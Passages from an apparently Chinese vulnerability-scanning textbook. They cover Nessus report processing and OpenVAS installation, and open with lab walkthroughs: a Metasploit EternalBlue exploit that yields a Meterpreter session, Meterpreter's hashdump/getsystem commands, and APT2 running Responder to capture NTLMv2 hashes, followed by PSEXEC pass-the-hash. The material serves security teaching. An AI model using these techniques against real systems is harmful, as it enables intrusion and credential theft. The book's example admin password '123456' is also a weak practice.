    {"text": "执行命令如下： msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 192.168.198.138:4444 [*] 192.168.198.139:445 - Connecting to target for exploitation. [+] 192.168.198.139:445 - Connection established for exploitation. [+] 192.168.198.139:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.198.139:445 - CORE raw buffer dump (38 bytes) [*] 192.168.198.139:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2 [*] 192.168.198.139:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris [*] 192.168.198.139:445 - 0x00000020 65 20 37 36 30 30 e 7600 [+] 192.168.198.139:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.198.139:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.198.139:445 - Sending all but last fragment of exploit packet [*] 192.168.198.139:445 - Starting non-paged pool grooming [+] 192.168.198.139:445 - Sending SMBv2 buffers [+] 192.168.198.139:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.198.139:445 - Sending final SMBv2 buffers. [*] 192.168.198.139:445 - Sending last fragment of exploit packet! [*] 192.168.198.139:445 - Receiving response from exploit packet [+] 192.168.198.139:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.198.139:445 - Sending egg to corrupted connection. [*] 192.168.198.139:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 192.168.198.139 [*] Meterpreter session 3 opened (192.168.198.138:4444 -> 192.168.198.139: 49298) at 2019-11-03 16:56:13 +0800 [+] 192.168.198.139:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.198.139:445 - =-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.198.139:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > 从输出的信息可以看到，成功获取到一个Meterperter会话。"},
    {"text": "用户可以使用help命令查看支持的所有命令，输出如下： meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners …//省略部分内容//… Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play an audio file on target system, nothing written on disk Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes 输出的信息显示了Meterpreter命令行下可运行的所有命令，并且每个命令的作用都有详细的描述。"},
    {"text": "如果用户需要退出，则输入exit命令即可： C:\\Windows\\system32>exit exit meterpreter > 从输出的信息可以看到，成功退出了目标主机的Shell，返回到了Meterpreter会话。"},
    {"text": "接下来，将使用apt-get命令安装该工具，执行命令如下： root@daxueba:~# apt-get install apt2 执行以上命令后，如果没有报错，则APT2工具安装成功。"},
    {"text": "APT2工具主要是根据配置文件中的信息来利用漏洞模块的，所以这里简单分析下该配置文件，以了解其执行的操作。 其中，该配置文件默认信息如下： root@daxueba:~# cat /etc/apt2/default.cfg [placeholder] [metasploit] #Metasploit框架 msfhost=127.0.0.1 msfport=55552 msfuser=msf msfpass=msfpass msfexploitdelay=1 [nmap] #Nmap工具 scan_target=192.168.1.0/24 scan_type=S scan_port_range=1-1024 scan_flags=-A [threading] #线程 max_modulethreads=10 [responder] #Responder工具 responder_iface=eth0 responder_delay=60 responder_timeout=900 [default_tool_paths] #默认工具路径 responder=/usr/share/responder/Responder.py #jexboss=/abc/xyz/jexboss.py [searching] #搜索文件参数 file_search_patterns=.*\\.bat,.*\\.sh,.*passwd.*,.*password.*,.*Pass.*,.*\\.conf,.*\\.cnf,.*\\.cfg,.*\\.config,.*\\.txt 从以上信息中可以看到，APT2工具默认运行的工具有Metasploit、Nmap和Responder，而且可以看到这些工具的默认配置。"},
    {"text": "在MSF终端执行如下命令： msf5> load msgrpc User=msf Pass=msfpass ServerPort=55552 【实例9-8】 导入扫描报告test.nessus到APT2工具，并利用该报告对目标实施渗透。"},
    {"text": "执行命令如下： root@daxueba:~# apt2 -v -v -s 1 -f test.nessus [*] [*] dM. `MMMMMMMb. MMMMMMMMMM [*] ,MMb MM `Mb / MM \\ [*] d'YM. MM MM MM ____ [*] ,P `Mb MM MM MM 6MMMMb [*] d' YM. MM .M9 MM MM' `Mb [*] ,P `Mb MMMMMMM9' MM ,MM [*] d' YM. MM MM ,MM' [*] ,MMMMMMMMb MM MM ,M' [*] d' YM. MM MM ,M' [*] _dM_ _dMM_MM_ _MM_MMMMMMMM [*] [*] [*] An Automated Penetration Testing Toolkit [*] Written by: Adam Compton & Austin Lane [*] Verion: None [!] Module 'exploit_jexboss' disabled: [!] Requirement not met: jexboss [*] Input Modules Loaded: 2 #输入模块 [*] Action Modules Loaded: 40 #活动模块 [*] Report Modules Loaded: 1 #报告模块 [*] [*] The KnowledgeBase will be auto saved to : /root/.apt2/proofs/KB- fteudnqfed.save [*] Local IP is set to : 192.168.198.138 [*] If you would rather use a different IP, then specify it via the [--ip <ip>] argument. [*] [VERBOSE] Launching [Run Responder and watch for hashes] Vector [initial] [*] Use the following controls while scans are running: [*] - p - pause/resume event queueing #运行了Responder工具 [*] [VERBOSE] -> Running : Run Responder and watch for hashes [*] [DEBUG] ---> execute [reponder -I eth0 -wrf] [*] Starting responder... [*] Current # of Active Threads = [1] [*] ==> Responder [*] [DEBUG] EventQueue Size = [0] [*] Current # of Active Threads = [1] [*] ==> Responder [*] [DEBUG] EventQueue Size = [0] [*] Current # of Active Threads = [1] [*] ==> Responder [*] [DEBUG] EventQueue Size = [0] [*] Current # of Active Threads = [1] [*] ==> Responder [*] [DEBUG] EventQueue Size = [0] [*] Current # of Active Threads = [1] [*] ==> Responder [*] [DEBUG] EventQueue Size = [0] ...//省略部分内容//... [*] Current # of Active Threads = [1] [*] ==> Responder DEBUG-------------------------------NTLMv2-SSP [!] Vuln [NetBIOS|LLMNR] Found new hash - test::DESKTOP-RKB4VQ4:9048720aa39 f323d:3094A1D2D7A551AD066BC825FC10DA54:0101000000000000C0653150DE09D2010C0A78685D77225E000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000008DBFB993B10B13722175E0820B4507A51E6DC72EFFAB754D504267E862D793C90A001000000000000000000000000000000000000900100063006900660073002F006700680061000000000000000000[!] VULN [NetBIOS|LLMNR] Found on [192.168.198.1] DEBUG-------------------------------NTLMv2-SSP [!] Vuln [NetBIOS|LLMNR] Found new hash - daxueba::DESKTOP-RKB4VQ4:2b98f 8d05f340277:29028DF36ECAA550EFD3CAF6E87A64CD:0101000000000000C0653150DE09D201866A9963063A16B5000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000001BE13D4A4833E0388E88B198379DEF6FF8753A844E34C5AD38A04B41BC6BB2840A001000000000000000000000000000000000000900120063006900660073002F006B0061006C0069000000000000000000[!] VULN [NetBIOS|LLMNR] Found on [192.168.198.1] [*] [VERBOSE] Launching [Attempt to authenticate via PSEXEC PTH] Vector [initial-Responder] [*] [VERBOSE] -> Running : Attempt to authenticate via PSEXEC PTH [*] [DEBUG] ---> execute [use exploit/windows/smb/psexec] on each target [*] Generating Reports [*] [VERBOSE] reportGenHTML - Writing report [*] Report file located at /root/.apt2/reports/reportGenHTML_fclgemexnj. html #报告文件 [*] [*] Good Bye! 从输出的信息可以看到，从扫描报告中发现目标主机中存在NetBIOS/LLMNR漏洞，并且利用该漏洞获取到了两个用户哈希密码。"},
    {"text": "未知 9.3.3 自动化生成中文漏洞报告 Nessus扫描完成后，需要花费很多时间去整理报告。为了减少整理报告的时间，提升工作效率，用户可以利用Nessus_to_report脚本自动化生成中文漏洞报告。Nessus_to_report脚本可以解析Nessus导出的HTML报告，自动翻译成中文，并提供修复建议。下面将介绍具体的实现方法。 【实例9-9】 使用Nessus_to_report脚本自动化生成中文漏洞报告。具体操作步骤如下： （1）下载Nessus_to_report脚本。其中，下载地址为 https://github.com/Bypass007/Nessus_to_report 。下载成功后，软件包名为Nessus_to_report-master.zip。 （2）解压下载的软件包。执行命令如下： root@daxueba:~# unzip Nessus_to_report-master.zip 成功执行以上命令后，所有的文件都将被解压到Nessus_to_report-master目录中。 （3）切换到Nessus_to_report-master目录中，即可查看所有的文件。执行命令如下： root@daxueba:~# cd Nessus_to_report-master/ root@daxueba:~/Nessus_to_report-master# ls img Nessus_report_demo.py Nessus_report.py README.md vuln.db 解压出的文件中，Nessus_report.py脚本用来解析HTML报告，并进行翻译。 （4）运行Nessus_report.py脚本。为了方便输入，将导出的扫描报告文件重命名为test.html。执行命令如下： root@daxueba:~/Nessus_to_report-master# python Nessus_report.py /root/ test.html 192.168.198.139 - 严重 - 125313 - Microsoft RDP RCE (CVE-2019-0708) (BlueKeep) (uncredentialed check) 192.168.198.139 - 中危 - 18405 - Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness 192.168.198.139 - 中危 - 57608 - SMB Signing not required 192.168.198.139 - 中危 - 51192 - SSL Certificate Cannot Be Trusted 192.168.198.139 - 中危 - 35291 - SSL Certificate Signed Using Weak Hashing Algorithm 192.168.198.139 - 中危 - 42873 - SSL Medium Strength Cipher Suites Supported (SWEET32) 192.168.198.139 - 中危 - 57582 - SSL Self-Signed Certificate 192.168.198.139 - 中危 - 58453 - Terminal Services Doesn't Use Network Level Authentication (NLA) Only 192.168.198.139 - 中危 - 57690 - Terminal Services Encryption Level is Medium or Low 192.168.198.139 - 低危 - 65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah) 192.168.198.139 - 低危 - 30218 - Terminal Services Encryption Level is not FIPS-140 Compliant 192.168.198.139 - 信息泄露 - 45590 - Common Platform Enumeration (CPE) 192.168.198.139 - 信息泄露 - 10736 - DCE Services Enumeration 192.168.198.139 - 信息泄露 - 10736 - DCE Services Enumeration 192.168.198.139 - 信息泄露 - 10736 - DCE Services Enumeration 192.168.198.139 - 信息泄露 - 10736 - DCE Services Enumeration 192.168.198.139 - 信息泄露 - 10736 - DCE Services Enumeration 192.168.198.139 - 信息泄露 - 10736 - DCE Services Enumeration 192.168.198.139 - 信息泄露 - 10736 - DCE Services Enumeration 192.168.198.139 - 信息泄露 - 10736 - DCE Services Enumeration 192.168.198.139 - 信息泄露 - 54615 - Device Type 从输出的信息中，可以看到扫描报告中的漏洞信息。此时，在当前目录下将生成一个名为result.csv的文件。打开该文件后，可以发现包括服务器IP、漏洞名称、风险级别、漏洞描述和修复建议5列信息，如图9.14所示。 图9.14 result.csv报告文件 从该文件可以看到，成功将Nessus扫描报告进行了整理，自动翻译成中文，并提供了修复建议。 提示： 当用户只使用Nessus_report.py脚本时，可能会由于缺少unicodecsv模块而导致错误。其中，错误信息如下： Traceback (most recent call last): File \"Nessus_report.py\", line 9, in <module> import unicodecsv ImportError： No module named unicodecsv 此时，用户只需安装下unicodecsv模块即可。执行命令如下： root@daxueba:~# pip install unicodecsv 在kindle搜索B089Y82SSX可直接购买阅读 未知 第3篇 OpenVAS漏洞扫描 ·第10章 OpenVAS基础知识 ·第11章 准备工作 ·第12章 信息收集 ·第13章 通用模板扫描 ·第14章 生成报告 ·第15章 资产管理 ·第16章 高级维护 未知 第10章 OpenVAS基础知识 OpenVAS是一个开放式漏洞评估系统，可以用来实施各种漏洞扫描。为了便于读者掌握OpenVAS的操作，本章将介绍OpenVAS的基础知识。 未知 第2章 准备目标 在进行扫描之前，首先需要准备扫描目标。对于大部分用户来说，如果要对各种操作系统都进行漏洞扫描，可能没有那么多的物理机来练习。此时，可以使用虚拟机软件（如VMware Workstation）来安装各种操作系统。本章将介绍在VMware Workstation上安装新操作系统的方法。 未知 10.1 安装及配置OpenVAS服务 在大部分操作系统中，默认都没有安装OpenVAS工具。因此在使用之前，需要先安装该工具。本节将介绍安装及配置OpenVAS服务的方法。"},
    {"text": "未知 10.1.1 安装OpenVAS OpenVAS工具的安装比较简单，在OpenVAS的官网上提供了在各种操作系统中的安装方法。其下载地址为 http://www.openvas.org/install-packages.html 。需要注意的是，安装时可能会出现很多依赖包需要手动解决的。如果不能够很好地解决依赖关系包，将无法成功安装OpenVAS工具。不过，也不需要担心，Kali Linux的软件源中已经提供了OpenVAS及其依赖的所有安装包，用户可以直接使用apt-get install命令进行安装。这里为了避免遗漏某个包，所以使用通配符（*）来表示安装所有依赖包。执行命令如下： root@Kali:~# apt-get install openvas* -y 执行以上命令后，如果没有出现任何错误，则表示成功安装了OpenVAS工具。 如果发现自己的系统中安装的OpenVAS工具不是最新版本，可以通过以下方法安装该工具的最新版本。 （1）更新软件包列表，执行如下命令： root@Kali:~# apt-get update 执行以上命令后将会获取最近的软件包列表。 （2）获取最新的软件包，执行如下命令： root@Kali:~# apt-get dist-upgrade 执行以上命令后将会对有更新的包进行下载并安装。 （3）重新安装OpenVAS工具，执行如下命令： root@Kali:~# apt-get install openvas* -y 执行以上命令后，如果没有报错，则说明已成功安装了OpenVAS工具。接下来，还需要做数据库迁移。执行如下命令： root@daxueba:~# openvasmd –migrate 执行以上命令后不会有任何信息输出。接下来，启动OpenVAS服务，即可使用该工具。 如果当前系统中已经安装了最新版本的OpenVAS软件，将会显示以下信息： 正在读取软件包列表... 完成 正在分析软件包的依赖关系树 正在读取状态信息... 完成 openvas 已经是最新的版本 (9.0.3kali1)。 openvas-cli 已经是最新版 (1.4.5-2)。 openvas-manager 已经是最新版 (7.0.3-1)。 openvas-manager-common 已经是最新版 (7.0.3-1)。 openvas-nasl 已经是最新版 (9.0.3-1+b2)。 openvas-scanner 已经是最新版 (5.1.3-2)。 升级了 0 个软件包，新安装了 0 个软件包，要卸载 0 个软件包，有 20 个软件包未被升级。 从以上输出信息中可以看到，OpenVAS已经是最新版本了。"},
    {"text": "未知 10.1.2 配置OpenVAS服务 OpenVAS工具安装成功后，还需要进行一些配置才可以使用。例如，初始化服务、同步插件及启动服务等。下面将介绍在Kali Linux中配置OpenVAS服务的方法。 【实例10-1】 配置OpenVAS服务。下载并更新OpenVAS库，执行如下命令： root@Kali:~# openvas-setup [>] Updating OpenVAS feeds [*] [1/3] Updating: NVT --2019-11-28 10:45:54-- http://dl.greenbone.net/community-nvt-feed-current. tar.bz2 正在解析主机 dl.greenbone.net (dl.greenbone.net)... 89.146.224.58, 2a01: 130:2000:127::d1 正在连接 dl.greenbone.net (dl.greenbone.net)|89.146.224.58|:80... 已连接。 已发出 HTTP 请求，正在等待回应... 200 OK 长度：29091071 (28M) [application/octet-stream] 正在保存至: “/tmp/greenbone-nvt-sync.et9qhPkESo/openvas-feed-2018-06-13- 8788.tar.bz2” /tmp/greenbone-nvt- 100%[===================>] 27.74M 355KB/s 用时 81s 2019-11-28 10:47:16 (352 KB/s) - 已保存 “/tmp/greenbone-nvt-sync. et9qhPkESo/openvas-feed-2019-11-28-8788.tar.bz2” [29091071/29091071]) 2008/ 2008/secpod_ms08-054_900045.nasl 2008/secpod_goodtech_ssh_sftp_mul_bof_vuln_900166.nasl 2008/secpod_pi3web_isapi_request_dos_vuln_900402.nasl 2008/gb_twiki_xss_n_cmd_exec_vuln.nasl 2008/secpod_firefox_location_hash_dos_vuln.nasl 2008/ipswitch_whatsup_info_disclosure.nasl.asc 2008/sonicwall_vpn_client_detect.nasl.asc 2008/phpwebthings_rfi.nasl.asc 2008/abyss_dos.nasl 2008/sambar_default_accounts.nasl 2008/secpod_freesshd_sftp_remote_dos_vuln_900165.nasl.asc 2008/gb_gallery_sec_bypass_vuln.nasl.asc …//省略部分内容//… ● openvas-manager.service - Open Vulnerability Assessment System Manager Daemon Loaded: loaded (/lib/systemd/system/openvas-manager.service; disabled; vendor preset: disabled) Active: active (running) since Sat 2018-05-26 21:26:14 EDT; 5s ago Docs: man:openvasmd(8) http://www.openvas.org/ Process: 9394 ExecStart=/usr/sbin/openvasmd --listen=127.0.0.1 --port= 9390 --database=/var/lib/openvas/mgr/tasks.db (code=exited, status=0/SUCCESS) Main PID: 9395 (openvasmd) Tasks: 1 (limit: 2346) Memory: 75.5M CGroup: /system.slice/openvas-manager.service └─9395 openvasmd 11月 13 10:28:50 daxueba systemd[1]: Starting Open Vulnerability Assessment System Manager Daemon... 11月 13 10:28:50 daxueba systemd[1]: openvas-manager.service: Can't open PID file /var/run/openvasmd.pid (yet?) after start: No such file or directory 11月 13 10:28:50 daxueba systemd[1]: Started Open Vulnerability Assessment System Manager Daemon. [*] Opening Web UI (https://127.0.0.1:9392) in: 5... 4... 3... 2... 1... [>] Checking for admin user [*] Creating admin user #创建的账号 #账号密码 User created with password '4b44aa5b-5535-4525-b1db-d87c9b5d81cd '. [+] Done 以上就是更新OpenVAS库的过程。从输出信息中可以看到，在该过程中创建了证书、下载及更新了所有的扫描插件等。在该更新过程中，将会创建一个名为admin的用户，并且自动生成了一个密码。在本例中，生成的密码为4b44aa5b-5535-4525-b1db-d87c9b5d81cd。在该过程中输出的信息较多，由于篇幅的原因，中间部分的内容使用省略号（......）代替。由于此过程会下载大量的插件，所以大概需要30分钟的时间。不过，再次进行同步时，速度就会比较快。 提示： 在更新插件时主要取决于用户的网速。如果网速快，可能不需要很长时间；如果网速慢，则需要的时间会很长，请用户耐心等待。而且，在该过程中用户不需要进行任何操作。 未知 10.1.3 修改admin密码 在更新OpenVAS库时自动为admin用户创建了一个密码。但是该密码比较长，不容易记忆。为了方便用户记忆和输入，可以使用openvasmd命令修改该密码，执行命令如下： root@Kali:~# openvasmd --user=admin --new-password=123456 执行以上命令后，将不会输出任何信息。以上命令中，--user选项指定修改密码的用户为admin，--new-password选项指定将admin用户的密码修改为“123456”。"},
    {"text": "未知 10.1.4 验证OpenVAS安装 为了确认OpenVAS是否安装完成，可以使用openvas-check-setup命令对该服务进行检查。 root@Kali:~# openvas-check-setup openvas-check-setup 2.3.7 Test completeness and readiness of OpenVAS-9 (add '--v6' or '--v7' or '--v8' if you want to check for another OpenVAS version) Please report us any non-detected problems and help us to improve this check routine: http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss Send us the log-file (/tmp/openvas-check-setup.log) to help analyze the problem. Use the parameter --server to skip checks for client tools like GSD and OpenVAS-CLI. Step 1: Checking OpenVAS Scanner ... OK: OpenVAS Scanner is present in version 5.1.3. OK: redis-server is present in version v=5.0.7. OK: scanner (kb_location setting) is configured properly using the redis-server socket: /var/run/redis-openvas/redis-server.sock OK: redis-server is running and listening on socket: /var/run/redis- openvas/redis-server.sock. OK: redis-server configuration is OK and redis-server is running. OK: NVT collection in /var/lib/openvas/plugins contains 53372 NVTs. WARNING: Signature checking of NVTs is not enabled in OpenVAS Scanner. SUGGEST: Enable signature checking (see http://www.openvas.org/ trusted-nvts.html). WARNING: The initial NVT cache has not yet been generated. SUGGEST: Start OpenVAS Scanner for the first time to generate the cache. Step 2: Checking OpenVAS Manager ... OK: OpenVAS Manager is present in version 7.0.3. OK: OpenVAS Manager database found in /var/lib/openvas/mgr/tasks.db. OK: Access rights for the OpenVAS Manager database are correct. OK: sqlite3 found, extended checks of the OpenVAS Manager installation enabled. OK: OpenVAS Manager database is at revision 184. OK: OpenVAS Manager expects database at revision 184. OK: Database schema is up to date. OK: OpenVAS Manager database contains information about 53372 NVTs. OK: At least one user exists. OK: OpenVAS SCAP database found in /var/lib/openvas/scap-data/scap.db. OK: OpenVAS CERT database found in /var/lib/openvas/cert-data/cert.db. OK: xsltproc found. Step 3: Checking user configuration ... WARNING: Your password policy is empty. SUGGEST: Edit the /etc/openvas/pwpolicy.conf file to set a password policy. Step 4: Checking Greenbone Security Assistant (GSA) ... OK: Greenbone Security Assistant is present in version 7.0.3. OK: Your OpenVAS certificate infrastructure passed validation. Step 5: Checking OpenVAS CLI ... OK: OpenVAS CLI version 1.4.5. Step 6: Checking Greenbone Security Desktop (GSD) ... SKIP: Skipping check for Greenbone Security Desktop. Step 7: Checking if OpenVAS services are up and running ... OK: netstat found, extended checks of the OpenVAS services enabled. OK: OpenVAS Scanner is running and listening on a Unix domain socket. WARNING: OpenVAS Manager is running and listening only on the local interface. This means that you will not be able to access the OpenVAS Manager from the outside using GSD or OpenVAS CLI. SUGGEST: Ensure that OpenVAS Manager listens on all interfaces unless you want a local service only. OK: Greenbone Security Assistant is listening on port 80, which is the default port. Step 8: Checking nmap installation ... WARNING: Your version of nmap is not fully supported: 7.80 SUGGEST: You should install nmap 5.51 if you plan to use the nmap NSE NVTs. Step 9: Checking presence of optional tools ... OK: pdflatex found. OK: PDF generation successful. The PDF report format is likely to work. OK: ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work. WARNING: Could not find rpm binary, LSC credential package generation for RPM and DEB based targets will not work. SUGGEST: Install rpm. WARNING: Could not find makensis binary, LSC credential package generation for Microsoft Windows targets will not work. SUGGEST: Install nsis. It seems like your OpenVAS-9 installation is OK. If you think it is not OK, please report your observation and help us to improve this check routine: http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem. 从以上输出信息中可以看到，该过程进行了9步检查。检查完毕后，如果看到“It seems like your OpenVAS-9 installation is OK.”信息，则表示OpenVAS安装成功。接下来，就可以使用OpenVAS工具实施扫描了。 提示： 在每次使用OpenVAS工具时，都建议使用openvas-check-setup命令测试一下所有服务是否都成功开启。如果出现任何错误，可以根据提示进行修复。 未知 10.2 连接OpenVAS服务 当用户将OpenVAS工具安装并配置完成后，即可使用不同的客户端连接该服务器，然后对目标主机实施漏洞扫描。在本书中，将会使用最简单的浏览器客户端方式连接OpenVAS服务，因为使用这种方法不仅简单，而且可以在任何系统中连接到服务器。如果使用其他方法，则需要在客户端单独安装OpenVAS客户端程序。本节将介绍连接并管理OpenVAS服务的方法。"},
    {"text": "未知 10.2.1 启动OpenVAS服务 由于OpenVAS是基于C/S（客户端/服务器）和B/S（浏览器/服务器）架构进行工作的，所以如果要使用该工具，则必须先将OpenVAS服务启动，才可以连接客户端并使用。下面介绍启动OpenVAS服务的方法。 1.启动服务 通常情况下，更新完插件后OpenVAS服务对应的几个程序都会被启动。所以，在启动服务之前，可以使用netstat命令查看该服务是否已经启动。OpenVAS服务默认将会监听9390、80和9392三个端口。可以执行如下命令： root@Kali:~# netstat -antpl Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:9390 0.0.0.0:* LISTEN 24705/openvasmd tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 24690/gsad tcp 0 0 127.0.0.1:9392 0.0.0.0:* LISTEN 24718/gsad 从输出信息中可以看到OpenVAS程序已经被监听，监听的主机地址为127.0.0.1。这说明OpenVAS服务已启动，而且仅允许本地回环地址127.0.0.1访问。如果没有看到以上信息，则表示该服务没有被启动。此时，可以使用openvas-start命令启动该服务。 root@Kali:~# openvas-start [*] Please wait for the OpenVAS services to start. [*] [*] You might need to refresh your browser once it opens. [*] [*] Web UI (Greenbone Security Assistant): https://127.0.0.1:9392 ● greenbone-security-assistant.service - Greenbone Security Assistant Loaded: loaded (/lib/systemd/system/greenbone-security-assistant.service; disabled; vendor preset: disabled) Active: active (running) since Sun 2018-05-27 09:41:51 CST; 5s ago Docs: man:gsad(8) http://www.openvas.org/ Main PID: 27329 (gsad) Tasks: 2 (limit: 2326) Memory: 3.7M CGroup: /system.slice/greenbone-security-assistant.service └─27329 /usr/sbin/gsad --foreground --listen=127.0.0.1 --port= 9392 --mlisten=127.0.0.1 --mport=9390 …//省略部分内容//… 11月 27 09:41:51 daxueba systemd[1]: Starting Open Vulnerability Assessment System Manager Daemon... 11月 27 09:41:51 daxueba systemd[1]: openvas-manager.service: Supervising process 27279 which is not our child. We'll most likely not notice when it exits. 11月 27 09:41:51 daxueba systemd[1]: Started Open Vulnerability Assessment System Manager Daemon. [*] Opening Web UI (https://127.0.0.1:9392) in: 5... 4... 3... 2... 1... 看到以上信息，表示OpenVAS服务成功启动。 2.停止和重启服务 当修改一些配置时，往往需要重新启动服务以使配置生效。所以，在重新启动服务之前，首先要停止该服务，才可以重新启动。停止OpenVAS服务的命令如下： root@kali:~# openvas-stop [>] Stopping OpenVAS services ● greenbone-security-assistant.service - Greenbone Security Assistant Loaded: loaded (/lib/systemd/system/greenbone-security-assistant.service; disabled; vendor preset: disabled) Active: inactive (dead) Docs: man:gsad(8) http://www.openvas.org/ …//省略部分内容//… ● openvas-manager.service - Open Vulnerability Assessment System Manager Daemon Loaded: loaded (/lib/systemd/system/openvas-manager.service; disabled; vendor preset: disabled) Active: inactive (dead) Docs: man:openvasmd(8) http://www.openvas.org/ 从输出信息中可以看到，OpenVAS服务已停止。执行openvas-start命令，即可重新启动OpenVAS服务。 提示： 使用openvas-stop或openvas-start命令，将同时停止或启动OpenVAS服务中的三个程序，即Greenbone Security Assistant、OpenVAS Scanner和OpenVAS Manager。如果想要启动或停止单个服务，可以使用service命令实现，其语法格式如下： service [服务名] start|stop 其中，以上三个程序对应的服务名分别是greenbone-security-assistant、openvas-scanner和openvas-manager。 3.使用菜单管理服务 在Kali Linux中，用户可以在图形界面的菜单列表中管理服务，如初始化服务、启动服务、停止服务。在菜单栏中依次选择“应用程序”|“系统服务”|OpenVAS命令，将显示该服务的菜单列表，如图10.1所示。 图10.1 使用菜单管理服务 这里提供了5个管理命令，分别是openvas check setup（检查错误）、openvas feed update（插件更新）、openvas initall setup（初始化设置）、openvas start（启动服务）和openvas stop（停止服务）。单击任意命令，即可执行相应的操作。 提示： 由于Kali Linux GUI的问题，一些命令没有显示完整，所以在菜单栏中会看到有些命令选项后面显示为省略号（...）。"},
    {"text": "未知 10.2.2 连接服务 当OpenVAS服务被成功启动后，用户就可以连接该服务并进行扫描。OpenVAS有三种不同的客户端程序，分别是OpenVAS命令行接口、Greenbone安装助手和Greenbone桌面套件，其中客户端可以用于任何操作系统。在Kali Linux中，默认安装的是Greenbone安装助手。所以，用户可以在任何操作系统中通过浏览器来连接OpenVAS服务。下面将介绍连接OpenVAS服务的方法。 【实例10-2】 连接OpenVAS服务。具体操作步骤如下： （1）在浏览器的地址栏中输入“ https://IP地址:9392/ ”，即可登录OpenVAS服务。该服务默认监听的地址为127.0.0.1，端口为9392，所以这里输入“ https://127.0.0.1:9392/ ”即可连接OpenVAS服务。成功登录后，将显示连接不被信任的界面，如图10.2所示。 注意： 连接OpenVAS服务时，输入地址使用的是https，而不是http。而且，默认只允许127.0.0.1连接。为了方便用户可以在任意计算机上连接其OpenVAS服务，可以对该监听地址进行修改。这里将/lib/systemd/system/greenbone-security-assistant.service配置文件中的--listen=127.0.0.1选项修改为--listen=0.0.0.0，如下： root@daxueba:~# vi /lib/systemd/system/greenbone-security-assistant. service [Unit] Description=Greenbone Security Assistant Documentation=man:gsad(8) http://www.openvas.org/ Wants=openvas-manager.service [Service] Type=simple PIDFile=/var/run/gsad.pid ExecStart=/usr/sbin/gsad --foreground --listen=0.0.0.0 --port=9392 --mlisten=127.0.0.1 --allow-heder-host=外部访问的地址--mport=9390 [Install] WantedBy=multi-user.target 以上加粗显示的内容是修改后的结果。修改完成后，需要重新启动OpenVAS服务才可以使其配置生效。执行命令如下： root@daxueba:~# systemctl daemon-reload root@daxueba:~# openvas-stop root@daxueba:~# openvas-start 此时，查看监听地址，显示结果如下： root@daxueba:~# netstat -antpul | grep 939 tcp 0 0 127.0.0.1:9390 0.0.0.0:* LISTEN 28192/openvasmd tcp 0 0 0.0.0.0:9392 0.0.0.0:* LISTEN 28190/gsad 从输出的信息中可以看到，gsad程序监听的地址为0.0.0.0。接下来，可以通过 https://IP:9392/ 连接OpenVAS服务。 图10.2 不可信任的链接 （2）图10.2所示界面显示浏览器中访问的连接不可信任。这是因为该连接使用的是HTTPS协议，没有正确的证书提供。在该界面中单击Advanced按钮，将显示如图10.3所示的界面。 （3）图10.3所示界面提示访问该连接存在风险。如果确认访问的连接没有问题，则单击Add Exception按钮添加例外，如图10.4所示。 图10.3 风险信息 图10.4 添加例外 （4）图10.4所示对话框显示了要添加例外的连接信息。此时，单击Confirm Security Execption（确认安全例外）按钮，表示确认要信任该连接。连接被信任后，将显示如图10.5所示的界面。 （5）该界面是OpenVAS服务的登录界面，输入用户名和密码即可登录该服务。这里的用户名就是前面配置OpenVAS时，自动创建的admin用户，密码为123456，输入完成后，单击Login按钮登录OpenVAS服务。成功登录该服务后，将显示如图10.6所示的界面。 图10.5 OpenVAS登录界面 图10.6 OpenVAS主界面 （6）看到图10.6所示界面显示的内容，表示已成功登录OpenVAS服务。从右上角可以看到当前登录的用户身份、用户名和登录时间。其中，当前登录的用户身份为管理员，用户名为admin，登录时间为Tue Nov 2603:07:072019 